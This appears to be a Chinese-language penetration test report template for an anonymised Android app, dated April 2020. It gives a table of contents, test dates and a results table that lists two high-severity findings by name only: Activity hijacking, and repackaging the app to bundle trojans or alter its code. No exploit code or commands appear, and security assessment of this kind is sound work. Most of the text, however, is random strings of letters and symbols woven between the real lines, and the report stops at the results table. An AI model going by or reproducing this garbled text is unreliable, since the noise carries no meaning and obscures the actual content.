* A1 v: K: s8 g' {% [# q
1 X1 Z# B0 B' K+ Z$ x( f( @3 h
9 o/ X2 q0 t" }& e1 T7 v# y) N! a- R( o" {
2 R% r' B$ s& F9 n. k1 \2 Y% M1 Y# }1 K c. u2 y
- y2 e3 V* E4 u/ ~+ j
+ N- T+ r6 d5 [0 Q& I6 n: j7 F
( S1 O- o( p3 X0 V' e7 I1 _) i# ]# {# [& i+ @& n- F
: U2 p: g( h7 I3 [( r* G7 W$ s8 c; X3 I1 X, z8 I4 e' L. |) `" k4 j @4 L. m
文档编号:
2 w) c2 b5 l9 t2 `% l7 [; P7 S0 Q% M
1 W" {: v& ?. M, {/ H- C7 u/ R j: u) P6 ]7 } u _# e4 \2 U
8 F" O: K4 W% }! R
: C0 A9 ~5 o9 s7 Z: g2 u
2 F( G. d- \- J! M4 i- }- E4 f% n6 P' |2 ^7 z3 H& }7 `/ s6 [; T
6 G$ Y. i& W% g0 ^ `8 B+ m# g$ f& y' l
+ ~+ G& _) Y" p: Z
+ S9 i6 k0 R8 \" Z: a
, x: Z* V4 ^; m' _; j6 L2 p. p6 g, k9 s* o' T
. Y- x. \7 G/ T4 |/ t/ T4 D' S
* a' T, a3 ~9 ]% V8 A/ Y3 `
0 v8 X; H+ M" p3 x& \
+ u/ [/ K, E8 c7 \+ [- Q+ b, i 8 M/ ?4 x# r) N' G7 C- _0 k1 y3 T
4 x& t1 b9 N' x3 H" t5 m1 [
$ u" V ]" I+ y2 I1 w- N
. X+ T' M+ z# I ; h4 f6 ` c) t$ o6 u0 B8 x& Z
0 N& v) B8 F! m; x) \# o/ O
- V! p$ P6 E/ y# A T R" S, R! O! F8 e( ^5 f9 y
5 _. u- H; L: _7 s) Y0 v/ ?
5 M& J! [* u% d: y7 ?) t
H* a4 z+ E9 \7 e( p- B2 I0 U2 G% S* X
0 Q5 R6 @& j' C2 c7 \5 d" f5 [8 W
3 ?7 Y$ [* o1 i4 ~# @$ p
8 @# v, L E |0 `6 B
V- K; I* @1 h Z* d! W
$ w- ~. ]- u( X; Q |: ^8 ], h3 c
: ^' p' @. q6 y1 R! f 某某某APP渗透测试 + S3 l$ e8 B3 R) H4 @1 Z/ _! n
! P/ F9 M, l" u6 r
' ~: |8 U! A# {7 m/ ^; d
" M( L! `0 `1 K% B' t
% k! Y* _2 s7 r# g! j# l J7 G) _8 H
2 x% [( A$ t7 \" \# @4 ?5 ^% x 6 G+ t9 C. ?5 Y: Q$ R( ~
. ~( S; |4 m/ B
. {- S" o( t$ H) G; ?: k0 ~0 Z7 p+ c; @; c- n5 q
9 W! i& \5 d1 ^6 J" T
7 ]9 z" f G. g0 n3 n7 X9 ?& a
# d/ C, `$ q4 s) y: {% E5 r k) x5 k0 `+ R3 u$ \( l
2 j5 i+ l( Z% `2 a1 @. s0 Q! V) x* _1 e
7 i) i7 A( ^! S+ G1 ~. _$ g
' m- {6 |3 n3 [( l, X" Y U: i6 o, W4 m; N2 y
% b' N, v0 w/ ]" I+ t$ X
' E6 e, |1 [3 a! M# W, P
V Z# u7 Y; P: s
; ~. t! u) o2 f; O- g% ]: d; o9 T6 d( z
; _1 T2 Q. T( B0 X9 u P
7 R M) ]- J- ]+ p4 I$ T
0 Y1 F5 r, S2 b5 v& x" T: Z" X
- m, u5 Y5 g1 `4 W& C/ S
! U) q4 }2 I+ V$ B9 a6 P! x
- Z% `' E6 ?$ }3 O( x. \ 技 术 报 告 * Q; i& W* P5 }# z- ~% _2 W
! g8 y% m( p4 N$ P) \
: o- ~9 g1 w( Z7 e
0 m$ }( Z* r, D1 |8 S# w
* h4 V8 c9 h o/ ~8 [, b
# Y' I% H/ `" A- c4 o$ ?, }* [6 s
$ e, @9 R8 |- v! u* I
) y: X1 e8 Z" M, g4 L, p, O' Y8 F* x
/ B" j) B9 a& z, ~( Z5 d- f) p: d2 \" _9 q3 G
4 b3 M" c. }# t6 U5 l- N& M" V
) w& N v8 J& M J
8 @) ^0 V4 }9 A6 v, o
$ {. Q" y5 n: j( @' y
\( \' r3 w; p6 P1 n/ p0 d
9 m0 r& |9 l6 n! _
! t+ K5 `4 i" K5 Z* B
3 i8 R; b# i" J- K y2 D7 P
8 c7 M' C' q, }% h! @/ y9 `1 i+ ^) z( U! O A* q
. x( `* V) a) {+ u6 E
4 _- |8 N3 K3 F% X" \% t4 \+ u
) r% r! {/ \( @# c. i% G. g# Z* K- s8 J$ ?$ `3 K5 X% \5 y
# `7 @+ @6 Q' ^9 H$ D6 ]5 a0 B
4 P- A! [# N7 ]
' {) o/ ~- j1 J( }$ [( }9 Y, b* |$ o5 F/ B' `3 n S
# j8 W0 Z; z3 P. ], [0 W4 h x9 |2 |0 I' \9 ^' t
6 d3 ?0 F/ h2 U! p: p
0 q1 D) p/ q- N0 i2 t3 O
" ^) P6 T' H$ \( o$ g' [" j
% Y8 E# l' E& T: S" [% l 1 W2 D, y) ^ W' _' U7 H- B/ z
4 P/ @+ ?; a; k p6 \1 S" \+ T0 p
: K9 U' Y; B! m! ~3 Z( \5 a
/ l2 k: A; }5 Q' a; }0 @
7 v+ t8 B) L; I |1 y# Q
8 G5 c% @$ ] L
* ^# n! X$ Q5 r; c+ s$ n# X1 Z3 ` ~0 b! K# O% n
, N* _2 G {* Q
1 G% p1 h5 P6 ~9 P& H8 `8 @
7 w2 \& p. a9 j _& s# m& K1 S1 c& c6 i
9 c0 j1 ^) q- M7 S" M- e+ u3 C+ u- M$ L/ B" U
5 w* G. R+ Z' w& B
4 p- B5 O( |3 p4 K7 U- ?2 h
5 O# L- @( M( f, W
1 M2 b6 Y5 K- f6 n% F
7 u3 N1 s3 c: n/ k, D) Y
7 C; y. e0 T& n5 c2 L
. X" V9 k8 H1 ?# s: Y& p
8 K" z5 f8 }$ g5 V
- N, \* G* p: \- B5 ^( W, i. @# m$ ^5 h
! R i; s9 }+ \7 G' {% X& }2 [
9 {( h' a6 a! l N
; D- m$ K' z% p+ _4 p" O1 S" M
! y y# y) v1 V4 z/ D) Y5 G* X
3 w. v8 R4 z* v6 z" |( k* |+ H1 C) G- G4 `
# t$ Y4 Q4 k/ \6 U) m
: Z* l. y! F4 n5 ]2 [) B 6 p& O2 o* h: z) u
3 ^1 N! X( Z4 Y9 l8 H5 {1 C
, t( O* s# ]" X' v
9 ^) x! I* e/ y 2 l, k8 m8 T" S, n) U! I
, D7 c. o y; j4 k, E8 Z. y& u
% |4 d# C! h- `! U N
, f; T5 j% P, X/ \0 k8 T3 s
' L" K" Q6 z) W: f( a8 Y2 [7 J- k0 d- `5 {5 m5 i3 s% k# C
7 ~+ Y( \2 i3 Y9 [) g* k( O# p
. I7 R- n' f) n, x
' b8 v; [ n D7 L& ^
- \; q2 W3 J g
X3 L3 q" Y" d- c! }1 T( q( j0 |7 o! X. f( Q' m T
8 U* E" v% U0 h8 |* i) T7 c: g+ m+ j
4 q. F% T5 ?" ?6 W5 u$ o# i6 T8 A ) F: X3 ^: e0 X6 t+ n/ o
* _/ R. d& ` N2 q* o
8 z3 y# I- g: D) d: o. {. [" z5 G
- B# [7 o+ N u4 t7 B
1 T+ f& M+ I: C0 a6 K0 g. H2 E" W$ X# U* M a' I
" h. u3 Z. D# B5 O
: Q1 N- M) E7 ]$ L: T
* F; `0 f3 f# \: n4 l
. } a; D- Q, ~3 [$ J& r' s
! l% v0 }" v4 u+ J% l+ _! P
6 ?4 |7 B" s1 f" T; Q/ ]& k5 \; f0 l
# t2 m) ?( B) c4 m* O
+ D& b1 G; j4 K
0 u6 R0 v2 w3 a6 a1 c! @; B0 Z: X- h: m) F
( v% W) A/ X. A
; R; G( k# y6 j+ x0 b 4 s4 I$ ]% j3 F P
; y6 s- x, B. W4 ~4 Z$ _. U
; \2 o, b& ?/ z! R v2 y
. m/ b8 F/ V6 [4 K' l
* L% \, i0 d$ |
9 {0 r# ]! H) o & \! n5 f, [7 E5 b; z9 b
, k8 ]$ s; s& s) Y2 X
1 Z6 I0 a* a: s: E
. L7 Z- d" k& R! d' \
- H+ h0 I" g3 s K, O- W
% K$ Y. @4 i, |5 h; w 二〇二〇年
, @, n/ \" u! } e9 L' v, Q; t
% v2 \1 b( J5 Y% \% O2 D
# r: n4 x9 @1 C
1 T M/ _, B4 }1 Q ; H4 ~" Z8 h1 ]- I4 e" Z
+ x0 |4 \: ?! _8 v3 ?! q
7 {1 T- j# k% k8 Z2 `
! l& {: Y, ^, z- F0 b
# j5 m" O( c8 |( u0 c# R
3 O. {- g5 L) b8 W" Z
0 I' o& b' O5 b+ {) Q) Y( T" `& U9 {* l. j0 }6 h
3 v& v" R( }4 D6 m( `) @5 r
5 B* y6 V: i# i- }9 k+ J+ [0 C) P" S
! `6 n9 f+ r- E1 V' G3 p* m# L+ w5 f1 a9 U
, R5 P1 S7 c3 U) Z: U& A( D
, E- ~2 M! D( i% O
: B+ z+ a& T! d Z! S W
* y' z! p9 Z& b( o5 G $ Q, P9 L- g/ v& p) M3 I" }: b
- z# {6 c5 O% b2 Z6 S
目 录
: h4 Y/ |1 S1 Q) p" T' C$ w) f
$ d/ ^0 d1 j8 ?# a1 }
0 e% y& z5 X- r$ `1 Q" V% S2 k
7 Y' \ b$ ?$ E- @2 g" _5 |3 ]4 A# Y
7 E! Q0 n, C3 {; v9 ~
4 w4 {* h/ f- K7 t0 h
3 \" h) `& N1 A3 V0 {
* F) S. g# ]9 e9 o 0 `2 R& L+ I8 [8 h
" k6 c- w7 I$ D$ }9 Z/ H. ^5 b, r
2 _: e" s; W* G$ i$ \: ]
% b6 X4 p; ?& i$ N N
+ k5 y! W# q2 o2 t5 g
7 c4 B3 |0 m6 Z6 D% u7 w 1 概述... 3
) q" f$ z/ Q3 r: u
. u+ o/ E3 ~3 d& h* b2 V1 H! ?/ z
8 b7 r' J9 `) y/ r
- n. l) z2 l$ S
# R2 M; ^6 Y* ?; ]/ M. J- P( V% U8 T' f& y. M; e
1.2测试时间... 3 6 C3 h% j5 B' t" E [
/ E6 H, ]* p7 @. p2 J
- u2 u) v" h& T3 i6 U! E
1 d- G: ^" g6 E) k( A % y- d7 ~3 a O# a6 m, a7 j2 S. J
5 o* K8 p4 ^$ g) C2 s
1.3测试对象... 3
5 C( N- V2 ]4 I! m( k. l" n0 }5 P' T- \4 \- W& ~4 v6 F
* a' B1 N* S0 s. g% v& n4 J
8 \0 m+ u8 {4 R4 ?' ^( @& [ 2 P9 i' y" P1 B2 {% y: m+ j4 {
4 A. d1 x4 r: x8 I; Z
1.4测试结果... 3 # m. L- {8 l3 @ F/ |) G# L
5 f3 _3 d) g" v4 o$ Q& V9 ~( W
" }0 e _" \: O# t- _2 o7 Q) L
$ d1 K$ R/ }# Y$ k4 L# V
1 l7 F9 ~' _1 X+ v" K. i3 g- f9 F9 d1 d
2 检测结果... 4
0 e% y8 Z( t! t) ]2 @4 T% [# V( o" R$ @9 S# r( l) Z* V. L) M* z# N& R- |
. I+ V: B. z s' A! v/ d# M! E
: I; l( y/ `( @1 e
' z$ J, p. T" i0 |5 [4 s9 ]) R
# j ^0 }) M+ C; \. B 2.1 某某某... 4 4 ]0 R" H5 p) G2 f8 y9 z, `
6 y( m4 q. O! y6 Y1 l0 b# G
1 Q- h% Z3 K* `, m( }1 _" n. V: H, f8 Q' X+ O9 X0 {
/ \$ w: ]1 ^) g! | N
0 r* _& |; j. r5 u& h5 z1 f 2.1.1检测目标... 4
" R% |* [. P! n% [$ g) ^" V9 D) ~* Z j& x4 f1 g% e
0 m1 l# K6 Q( q0 |; U) v f* p
+ i6 _" _" J/ h" M$ s3 v |
- {+ @) L$ E9 k- [2 K9 [4 I: n p3 ~1 c2 F8 n: _. F: {9 ~
2.1.2检测结果... 4 $ e" _6 _1 U0 n
* w) E! @+ `8 `
6 ~7 G F5 i5 i% ]1 P V W$ Z) k. s9 Y9 X& f" e
* E P/ S4 z3 K2 T: j7 G2 u
% ~, Y1 j& f* H4 i0 S( P* E4 _ 2.1.2.1. 4
( `* n3 Y" S8 x1 f3 p$ F
8 G5 U+ P4 C2 P# `) g+ n
/ u3 O" u, K% v/ {) K, d1 d2 M
3 D8 w, q1 E& p" f& h: g
: V& o4 y" k* T/ M# u
! _: g( k* ?& Z$ R 2.1.2.2. 6
3 @/ i- ]3 o* D x7 ]
* j2 X& N5 l. x9 V6 z: g0 X
- d. J [9 j% `9 o6 x4 Z# K& v0 u% x) M- c- k
' I- s/ l: P7 A5 j
# z/ S, n' k. N6 o6 h; p' p4 U* Q5 k
8 I5 `" k6 Y U" X
9 A6 z$ X" L! I& q* D
1 f9 ]. k5 {( B
8 O4 L/ N2 X& w V% E' @. b. d, E% `: O
' X& b& c- Y! g$ \ Q
1 m# x7 H( O% i1 H
: i# @7 ~) H9 b: y/ ]
% j3 Z1 H. h$ m& D% y1 n3 r
# n$ T# M9 @( D$ `, D% Q8 V
. b7 C& k( ]. \$ {! W: p: \9 B . Q: X9 z @0 t$ ^ p
$ }/ O6 g) j. t Q8 S K" |
3 s1 x: S. z& z- K1 D7 A2 R9 @- w0 [4 Q- p
1 概述 ! M* F. Z& l# Q% y J3 C/ S, @2 h$ V
0 }- I4 ?4 Y5 K/ q: G: {
7 U* H2 l/ Q5 k' T; Q) S
% R, x8 r( ], e o3 G
' j7 X l' p" e8 r0 W$ S- u% a0 j! S
1.2测试时间 " S5 e8 H7 z! q. [7 y$ v
2 O. C# Q$ N* Q' |! L7 y6 R
3 n) E j. t* P4 ?' P
/ s" d$ v2 Z3 ]4 r: P. x0 F% L
; @& S& j& p; z: v3 z: J5 z( F1 N3 C
3 m. w$ ~* D3 X1 F
/ |! }# P0 h7 t5 p3 V3 S
4 u! O: r! ?! R4 [% ]* ?+ M, x% ?% A5 ~( Q* z$ {' @5 \) {8 k5 I
|
/ s" W3 K P/ _+ ~( L5 Y) I
7 G# H- D9 n8 G% w C6 P) ^
7 Q2 ~% x: c2 ]- \3 e p, q- g3 j! ?3 _' [; W
渗透测试时间
9 d4 X$ r- T k( ]0 U& z- n
2 `! z$ m. b2 i. j1 s4 N* ?; j 1 L: s. l. ]* {5 f6 V$ k. @$ O
$ C6 x/ c- O' x* {/ j. n+ Q
| 6 t$ N1 ]+ r3 ^* W3 Q" ^
0 w- S7 `% f, o2 l7 o5 u# v
/ x+ r9 }# B4 l/ p, H
4 G0 v3 m) R, G( M+ C
. J! f0 i5 M6 @6 ]
- L$ S+ D9 C2 P | 1 l( G/ H3 M" L" [( Q: g
9 c% s% ]3 q1 I0 j7 l
* n. D; S* P0 ~3 G: ?! y! [4 D. D9 |3 j9 h1 L8 P6 a# L; k% A! U
起始时间
. z9 ?2 B$ v6 r/ s) {* G
) N+ N6 H- m: p% d& ?9 n
[( q0 U/ W3 x$ F: j% {2 F7 W- c0 k2 A; e
| 7 q2 T+ N; O+ E' I& H9 i
9 f B G& _% V z- |2 [+ }) x
. V. o: u, O/ f# f! f: ?' I' F+ n5 K) S) a9 b) K
9 Z7 N$ B( R1 o2 n
8 L/ h0 J# M7 e- I 2020年4月6日
2 U7 ]' F! ^+ F6 M5 k$ w) n
$ t4 B ]6 b; m- R. ?( n
" n, t0 C1 A: }) Q3 b# J5 u
4 O0 j8 ^2 j3 J" H' i; c | & D# j4 p1 |9 p) `. e' I/ e
3 D. }# k' S8 Y+ S _; ?3 k2 t
: M m# s$ q& a! G- E7 b8 P c( |5 K- o0 i$ v- [* B
4 W, I. N( R0 E0 n
) N1 L7 s- h2 q/ p4 F1 C8 R | # O, @- _1 U* G6 V' K7 u4 v5 j
' K* e% `; g. r% \+ \
n% a& T, r" F& g
' G2 t+ `. @) z 结束时间 4 H5 V8 v$ }6 L; V: C# c9 t
2 i0 _7 n: l0 z0 a9 z + x" l L) c" D! u, `! J# v# J
# o/ a* Q5 Y$ |
|
* t" L6 Z) @' U, z6 W2 x5 c" L5 A; r8 _3 V0 s! K! P Z
$ m2 g! E+ y9 e1 C/ A
0 b) x2 l8 u2 i
) W( P' C% M: s2 r8 o* ~7 `) d
2 b1 d2 Q' j) O 2020年4月9日
& t; y* B, N8 r& M0 _1 }& x
, d# e/ X1 z$ g6 h% I
* q+ ]: ?5 g8 c Y; h7 k
* X' I5 y0 D" _5 I) L% Q" C |
- m/ M1 o* ] z- o7 C# {1 n& h6 r% s: b6 n* F' ~0 z0 j
6 F K0 X, |0 Z3 l4 `$ Q) _7 M) e p
% x; i x! F. H' N6 c1 r
8 |8 d) j! O" z6 P. n1 e
) ~( G1 W: T' W/ Y1 v% _
4 j L% K* Z' n5 ]$ y- C8 }
: E& h2 h; b$ i4 Y9 T( x) r
! R, ?- g2 w) f% `1 {2 o 1.3测试对象
+ f8 U) E7 ?7 w# S
5 r* z$ m" D K5 v8 O
* v% x3 S# W) S. o4 G8 i6 j' Q1 P* h4 z j
7 N; A8 h4 r4 @8 D Z( ^7 |3 S
2 \- {; D2 I9 S, b) N$ _! \, N. ^ 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: - E/ c* r& `6 W3 X1 m0 C# [
" R$ F2 R5 @$ P* y3 _" i
0 d: }/ ~, `! E) V- L. E H4 ^8 Q4 {& c) A9 l! m7 m
+ \. C, V4 R' }( R4 s4 C
9 Q' T5 z% S: C' p" e 表1-1 检测对象
6 l$ @5 q9 @5 X* \1 R1 ~- c8 X
" k# _7 y/ X Z2 @
$ l, d6 s' l5 C) l) V) y- R1 z1 i/ r5 d. q6 ?
% h* P$ k9 z- y; v, j4 S a: [' ]# m! L+ p$ J; ?2 i
! x, `! S' W7 Y' Z! k0 k/ ?
5 Y. K F- U: B1 E h5 O: }# {
) ?# J9 G) K8 ], R( S9 `4 Z9 A6 C* A1 d$ u& K/ t
|
/ `) p/ s6 B! y. ^4 x/ l1 X& m3 v; a" l: W I
, `' M9 w7 ~0 g9 Z- e: {1 D4 ]! d+ ~2 x
序号
4 r7 _, W" W; J
& s$ T% B9 e/ _5 |' w
2 g) Q1 U4 o" d4 o
! c# V, M& m9 l. T D& \ |
1 s. Z3 i; }( S; _2 V1 L7 l
% W! p2 X6 Q' i: A* a# z, S4 q 2 X; b0 b0 k* Y: |, _4 t0 E8 K, M
( c$ k, C/ a( i
3 D. `8 c$ v( M( o6 h) R# c. R9 y' g0 t6 H
测试对象
6 }# J0 l5 \. s3 J! ^
* y3 f9 z3 Q. b6 r. l
4 q- P6 \! y2 S B8 Q- e' B5 e, g) d, F+ G9 B. v
| : q* c( @% w* V6 {
0 ] J3 e2 R. m6 s
% S' v5 E6 A, D. z, P5 u o0 J {! }- X7 f, ^ z; `. _* u: U
, z: i* F {% a' l
& p6 D2 ^; H" _, c4 H
测试地址
" o* G7 G/ R9 u
! R" X- r3 l) K+ \ ) ~" Q- N6 x; w9 J& I
) ^& M. m, [ I7 Q6 S0 k$ E |
5 X) T7 S, o F3 L i+ o' @' q* c% l% w
* k Q& [+ E5 C: h8 Q
P+ Y0 _" f8 U0 K% f6 M : ~' C& b. L0 g5 P# C- y4 F
' ?% f/ l4 S% ]! o D$ v( ~" I' l 安全漏洞
1 z+ ^+ W& `0 `9 d* \6 t E( |: g& m/ {! T( E9 S2 ?
* e- m2 y3 @+ f9 m. J( B
7 w& `9 S5 j/ M0 m& W
|
" f7 O1 D8 L& p3 ?$ S0 d
( E% \* |& Y6 b$ q' n( N5 O+ P
n1 m2 ] Y' y# `5 `5 Z
& z& ^5 d5 r( B, g# @& Z) M 2 H) q+ N+ ~5 B6 Q
7 i6 {9 A) o- k- B/ l | 3 ^; S. i1 p. X* P' A
& C- b; q6 S' ]' D# k9 r# R9 r
8 }0 w1 E+ ]; z7 J/ p6 q) L4 J. Q8 M+ ]5 E
1
; D( o5 A" h i1 t1 u/ `
% `2 Z% I, N6 a* s& `& g- \6 r- `
3 M. D1 @& q l5 i1 X
; p1 a) ]& m2 E0 ~1 a | # K8 j" S. O3 x7 Q- ]
0 `$ h% D. k, i
8 q6 u; a: i& I8 g- P* S3 E
1 h; m" g- t% s' X7 H 0 I# S4 J: ~1 ^4 q- Q7 q# U7 a
+ K, ?, {* U3 Y* s2 B 某某某安卓APP
: K6 E1 e5 B! J6 n
: f4 [. H6 ~4 B+ t $ I7 p# @; K5 {* u% [
) U, x O f5 ^1 A& x5 g | 3 B1 |+ b) U( @' K
) [1 o; H0 i& F % P: x) i b( J/ l3 E! _2 w
3 q/ I' Q" f. P+ L+ s
7 D: R3 h0 }# n+ @ L q a
+ d3 z( O: h8 w. h/ }' d + A& r( n L( e, Q
. n5 P" }: R5 q% W: q7 H0 t
6 c0 p6 |9 y* u* J& j
2 q+ D7 r& `+ K% W
| ! a+ A5 R/ x8 ]% ], Y. F. O* d
8 j5 U# Y+ Y) r$ U
- s& D7 E, s) q( I$ \8 V8 O h5 W/ p3 `" w2 U3 q+ e
6 z7 Y! W$ g8 S, u
4 E/ O. R' G' p" w; t; n5 |
2
. y1 r8 F0 O9 q7 A/ A, k1 @9 o* j# a6 }4 D+ q
' K+ l7 j1 i |" `+ K
( Y) d6 d$ J& s% ^
| ! ?) q. `# \& d, r, [
# s C, L7 ?8 B* Q/ c2 z
# u4 I- c! V* s, j
1 E! }9 \; r m* c5 ~
l% m9 b7 y7 h8 F P! ?% T, y/ Q. F# d k/ m& D8 E
8 c7 k7 r0 ~; z% y* ?
) K9 I U. H* y0 C/ s ; Q" p6 U! J3 g) @
( X( M0 |7 c2 y# |/ p3 c t 1.4测试结果 4 m! z; q' i8 {% q' C% b! B. Q
+ k5 q9 g4 l+ z- S# ~ ?# i
7 ?: g# p9 a/ H& s: ]
2 s: o* G- K) D: k" a) R s
. W! l0 B0 W) ~& G) u2 c; m" P; d
& `+ X& k3 p7 Q: Z 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: 5 ?9 S8 j m* j! t6 s
8 u% H% f3 R" J* |2 I, ^
+ b1 G! B) _9 E# x6 V9 a) c b6 x! k( ]* g3 C- n$ o3 ^/ x& f" p
2 `: b6 J0 D. G; c) I4 P! o4 P- K/ d- U9 F( M" `; L' M2 h/ a+ z
7 F+ L3 z) Z/ Z( H$ o# @0 n
; U5 J3 G; C$ w; r
. B) H. @, N" q/ L: L7 i1 r1 _& }2 o7 B9 K
+ ~6 C$ P. M7 N- H' S' t$ S; B
9 D! N8 g+ s6 c2 Z0 B' L8 v& Z6 d8 y
) H$ u5 {+ l- Y9 O2 K; b
: E% y* a( }3 U% @7 W- A 3 K9 |6 n; v: s! C, ]% H
: K% f0 [# u! i4 E# K7 R
' A6 X; h/ p# ]. w1 `* B. i9 |' V
| " \, V# Y, G3 t$ N( Y
: N i A/ m9 ~/ F& }5 t# }0 L 7 _% c& h, C- `+ X5 H- P
. s& ]7 v. w' E" { 序号
" m; {3 u7 J9 T X% i5 X+ W1 P, V( b4 e8 b+ c. \% |! a X0 d
3 [. p+ v5 o' J. ^; a# P5 E& J2 @4 d) a- z* J( A
| 6 N; N0 t- ` O0 ]
9 c% w3 \* p3 x- N* l
4 N, F! j# F. v/ ^1 W
; ^$ @" _& x# I. A* ~) y9 \" s
+ A) l4 o; d9 u1 {# |4 O+ y# R
) B4 d; @# B% H" U; S/ J" @ 系统名称 , k; q5 D& L7 U6 ~1 H5 m
. I6 k) `% u1 k2 ^9 u- ]& } * u% L5 C. A$ Z
H- A$ q* R" [* W* M% U
| # P+ w9 D/ b6 N. O( s C% b; ?$ {
/ g4 `* {! \% J& r# \
" M; U& p+ `2 P
' }( @+ N% b4 ~. K+ s- b$ D 6 D+ \& U3 Z. Z7 H' ~
) E. T8 G" O, Q$ l l- _: `. U
漏洞名称 ' d, e) _/ Z( V
5 E8 Y2 x/ r% Y6 s1 C) j: K Q. {
/ J; p+ Z) I2 L/ P4 B( {6 {/ F" R- Y
D9 r, K& Z. y0 W( v+ p | / h B; N+ J3 M4 J2 p6 V( J
3 J* s7 e# ?; _" D5 ?
: o, r- f$ V) |5 ]; w7 P7 K' z+ O
. x6 I5 F; d# S0 o9 f 4 S5 [! \8 V- r; M$ ^ Q& k V" N7 H
+ Q3 y G4 h+ D 漏洞危害 0 n y# m0 j A3 o; R
# }2 W5 q1 \; \- B% Q$ a) R+ F* z0 { C! C! m' K3 A5 b& N# L, @
9 F5 Y, a Q3 D2 X" ^' q( N. S& S
| 3 w" s4 ?6 Y% u3 G
! ]6 E5 E& x, k( F4 c5 N6 N
$ U* ?8 Q9 s# h* [$ s
Y) }& b, `: z H& _
$ k. L% Q, F/ J9 m) l# T) l$ P
7 o5 H# o' n- Y 修复结果
: o& n2 K' o% Z- \: f( }& O3 E. j
. S5 j6 d5 h' p
* S. h( G! d+ `! _- t8 m( s+ B4 }0 r+ g
2 S$ {; P* I C. _ | & ~" U/ Z% x9 n% [: y% G+ ]# w
% A) \" }0 F% j0 {7 L$ h
. A" B! q7 K; Y( S! D6 D3 w
7 m7 S, y, G$ k; Z
# O0 O0 K$ K. H. ^+ k2 F
1 o( Y7 [6 A. Y# Z |
# ]& h" H& W. i4 `2 ?# S
% n8 w* S: |' R0 X: n ! {( {0 |, U; z5 G# _) }2 p! O* V0 g7 o
# g) y5 R) @9 O. E, C 1
2 W' t! P, _: U+ P& H0 G6 K* C6 b/ k% t" t+ j0 `( z
- P7 A% a) f5 R$ O2 ]4 G. b" u
|
# E! ^+ G1 m( X* x9 p0 O; m% V Q0 \; g
; V& @0 X0 J8 P- u, [
- Y6 R& ]; u& V* V5 F k9 }3 _
& O& W$ }$ Y5 S# M Y
: n# `! r0 ^: J
某某某某某某APP ( z5 g4 |. G4 v3 O8 r
0 R. g* t( ~) a5 Y9 b5 ^3 F+ \
, ~; B4 H) o0 u8 Z. o) h6 {% U
! h* q& L4 ~3 Y6 Q0 T% P4 t: a4 u& [ |
. b7 {( H' {$ Q/ T2 B% Y# y; M( E& y$ w" Z, B% J8 _. V9 h
6 a |% t W0 @9 y) }
$ d# d: ?( Q, T5 e# d
0 `. p P+ i9 A) M
8 ~, A5 T- k% {$ ?( G3 H ~ Activity 劫持 7 N8 w m ]$ ?. i6 E5 @& m
1 K9 {" a- H* Y! I 4 }3 W- s1 ]2 \5 E
% l2 K; W( N5 J2 W6 f; b4 V$ w+ d
- k3 ~! D) o3 E. l+ r" c
8 W: I3 m& t* D$ h; W
+ `$ B ~ L9 ~2 Q, p% V
% r9 b4 U8 {5 Z) { j3 g
) y9 \6 |$ n# U
+ `, V- o( }+ l# J7 ?# @7 X | " J" f1 [( j! V2 O+ t( _$ n2 v
5 W A& I; s k# m! \! p
# F$ n; B; n: @0 w& k2 D" `) M6 z1 U/ r* y# v2 c+ b
6 R* ]( M/ r' x6 T
+ q# Q+ F8 ]! m; O9 m v4 j
高
' q) u7 F `+ P0 g0 ?" N" m3 H: P* a5 p/ W7 w4 ^) S
: R5 h2 u& j8 e4 b+ w3 U% Z
; F) h- Y% m, L' W) n: E7 X* V
| ' i9 w3 Q, Y3 ^" b- I3 z2 T* @7 ~3 |
; F: W1 G7 ?: U5 t8 T Y
( f4 u8 m6 o& D2 b- I* P2 [% C' s
2 G6 { |, l2 z- z% k: t3 K9 Z9 D
. b5 H1 f) j: u
9 I" G2 j/ N/ ~) n9 e
* H7 k7 P: [" ~8 M9 [
2 Y Y% {( |7 N- G& s' k
7 r; H+ x# O/ G) O
* B$ p) Q$ M( V# e |
0 B0 Q n3 E8 F
6 t0 \: V' q4 R( I1 g+ ?! Q
0 O: L8 c A( l" E P
( L( ^; S* b; c! _/ z* Q 6 K2 e' X e7 i8 _8 J p& Y6 o3 U
6 M4 d1 Z3 e; r2 Q ^
|
0 |$ ?, L2 [$ k& |# d# i3 ~, N' t' U3 W% g4 x0 h
/ P2 X9 t) G% |9 E2 h8 Z" {
- z+ c! y4 R+ a! P9 p
2 3 b6 T; F" w+ p3 _6 _
; Y {- m" }! T0 X8 H
6 m; y7 y9 x/ O" m1 m8 _% L; e; m2 O5 T- ^9 J& h* a( `
|
% P! V: g6 `* [% B5 d. p0 H: }9 i7 Y1 f3 ~
5 y8 Y4 W7 F% M9 z2 M8 u% J3 J) P
2 }5 X% Y8 V7 B) i& S3 l 3 b4 ]! I" g2 }+ s. N
5 [" h) }4 g l/ B+ E- p 某某某某某某APP " X+ r- ?; c, ~# n, D3 N; u
7 @9 O% N. o4 O' h
2 w* }& c7 p7 r8 M, S5 S! n8 U! |5 r* j$ |& @7 j
|
1 |) X8 R& Q7 j1 p8 o# ~, ]1 {( D$ C& ]* W- J* k: T6 z
- Q4 K" e: N* e" X
: X0 u, \' d: j4 ~+ h/ D
7 \5 x2 I6 S5 T: u9 \; [
9 d( M0 R+ _8 Z# O6 B% z 反编译二次打包捆绑木马、篡改APP代码 " A" p/ o3 G( y
8 @+ ?6 a7 G, F7 C8 M ; q6 W/ Q8 H9 t) ~- H2 S/ X& a O- M
7 g. T6 o# Y% y2 L, x' ~/ Z |
7 H: c' `( R4 w9 e. @
' w1 K- c( q' P$ K6 E+ ]; P( v$ y8 Q - x. \4 a: E% j( i
+ g+ A+ y; O5 ?, D( b5 q% F
! ~/ F0 w$ ^; v, O% d3 u6 e6 b- Z
2 D% m/ Z" T4 f- h( @; K 高 9 c4 p1 c$ W( S$ J$ A
3 z+ k' w/ O- P+ M5 R0 v4 Q
+ V/ u0 }- g1 P6 f; v# E4 g3 A' K5 V5 j. J
| 0 C& J3 a. A7 I; |$ _" O
! z% o( p" l6 n% y9 |! ^
$ i2 `/ D0 L! ~. L C2 T
& V! E& l( V' S. _: n
- e2 d* f E) b2 g- h( L7 k) g
: D$ S! ~" w8 R/ T8 K 8 Q: \ B: j: r2 R; N: @6 [
0 C1 Q; O% m' L2 l/ W7 \1 N
2 c) e# @4 ]; ~. Q5 e3 M
; q; B j1 `1 d- E! a& |
| 0 g7 _ f, P1 @+ ]2 g8 ~
